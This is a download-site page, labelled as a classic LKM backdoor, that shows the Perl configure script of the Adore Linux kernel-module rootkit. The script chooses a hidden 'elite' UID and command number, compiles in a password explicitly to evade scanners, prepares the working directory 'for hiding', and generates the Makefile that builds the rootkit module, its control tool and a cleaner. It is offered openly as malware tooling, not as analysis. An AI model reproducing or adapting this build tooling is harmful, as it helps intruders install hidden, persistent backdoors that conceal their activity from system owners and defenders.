⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 configure

📁 一款经典的lkm后门
💻
字号:
#!/usr/bin/perl# (C) 2001 by Stealth.# Using at your own risk. Licensed under BSDish license.# See LICENSE-file. Standard disclaimer applies.# adore configuration script# One can also use Makefile.gen edited by hand# when perl is not available or one needs special values# (crosscompiling)## Iitializink, Pitr ... #$elite_uid = 0;$elite_cmd = 0;$cc = "";$| = 1;$current_adore = 42;sub get_pass(){	print "\n\nSince version 0.33 Adore requires 'authentication' for\n".	      "its services. You will be prompted for a password now and this\n".	      "password will be compiled into 'adore' and 'ava' so no further actions\n".	      "by you are required.\nThis procedure will save adore from scanners.\n".	      "Try to choose a unique name that won't clash with normal calls to mkdir(2).\n";	print "Password (echoed):"; my $s = <STDIN>;	chop($s);	return $s;}## get next 'free' UID above 30#sub get_elite_uid(){	my $i = 30;	while (defined(getpwuid($i))) {		++$i;	}	return $i;}## randomly choose an ELITE_CMD#sub get_elite_cmd(){	srand();	return int(10000 + rand 100000);}#sub check_smp(){	if (`uname -a` =~ "SMP") {		return "YES";	} else {		return "NO";	}}# check for CONFIG_MODVERSIONS=ysub check_modversions(){	open I, "</proc/ksyms" or die "open(/proc/ksyms) $!";	while (<I>) {		if (/kernel_thread_R.+/) {			close I;			return "YES";		}		if (/kernel_thread/) {			close I;			return "NO";		}	}		print "WARN: Can't find kernel_thread!! Using \"NO\"!";	return "NO";}## Look for loaded modules#sub check_modules(){	print "Loaded modules:\n";	system("cat /proc/modules");}## Look where insmod is located#sub check_insmod(){	my $s;	print "Checking 4 insmod ... ";	foreach (qw(/bin /sbin /usr/sbin /usr/bin)) {		if (-x ($s = "$_/insmod")) {			print "found $s -- OK\n";			return $s;		}	}	print "WARN: No insmod found in /bin, /sbin, /usr/sbin, /usr/bin! Fix init-script by hand!\n";	return "insmod";}## RH 7 has 'kgcc'#sub check_cc(){	my $r;	if (-x "/usr/bin/kgcc") {		$r = "kgcc";	} else {		$r = "cc";	}	return $r;}################################ main()###############################print "\nStarting adore configuration ...\n\n";print "Checking 4 ELITE_UID ... ";print "found ", $elite_uid = get_elite_uid(), "\n";print "Checking 4 ELITE_CMD ... ";print "using ", $elite_cmd = get_elite_cmd(), "\n";print "Checking 4 SMP ... ", $has_smp = check_smp(), "\n";print "Checking 4 MODVERSIONS ... ", $has_modversions = check_modversions(), "\n";print "Checking for kgcc ... ";print "found ", $cc = check_cc(), "\n";$insmod = check_insmod();print "\n";check_modules();$pwd = get_pass();$target_dir = `pwd`;chop($target_dir);print "\nPreparing $target_dir (== cwd) for hiding ... ";chown($elite_uid, 0, $target_dir) or print "(failed)";print "\n\n";print "Creating Makefile ...\n";print "\n\a*** Edit adore.h for the hidden services and redirected file-access ***\n";## create an Makefile backup for ELITE_CMD etc.#$date = `date`;$date =~ tr/ /_/;system("cp Makefile Makefile_$date");## write Makefile#open(O, ">Makefile") or die "open(Makefile) $!";print O "#\nCC=$cc\nCFLAGS=-O2 -Wall\n\n";print O "#CFLAGS+=-m486\nCFLAGS+=-DELITE_CMD=$elite_cmd\n";print O "\nCFLAGS+=-DELITE_UID=$elite_uid\nCFLAGS+=-DCURRENT_ADORE=$current_adore\n".	"CFLAGS+=-DADORE_KEY=\\\"$pwd\\\"\n\n";if ($has_smp eq "NO") {	print O "#";	}print O "CFLAGS+=-D__SMP__\n";print O "\n";if ($has_modversions eq "NO") {	print O "#";}print O<<_EOF_;CFLAGS+=-DMODVERSIONSall:	adore ava cleaneradore: adore.c	rm -f adore.o	\$(CC) -c -I/usr/src/linux/include \$(CFLAGS) adore.c -o adore.oava: ava.c libinvisible.c	\$(CC) \$(CFLAGS) ava.c libinvisible.c -o avadummy: dummy.c	\$(CC) -c -I/usr/src/linux/include \$(CFLAGS) dummy.crename: rename.c	\$(CC) -c -I/usr/src/linux/include \$(CFLAGS) rename.cmodule.o: module.c	\$(CC) -c -fPIC -I/usr/src/linux/include \$(CFLAGS) module.ccleaner: cleaner.c	\$(CC) -I/usr/src/linux/include -c \$(CFLAGS) cleaner.cclean:	rm -f core ava *.o_EOF_## Done :>#close O;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -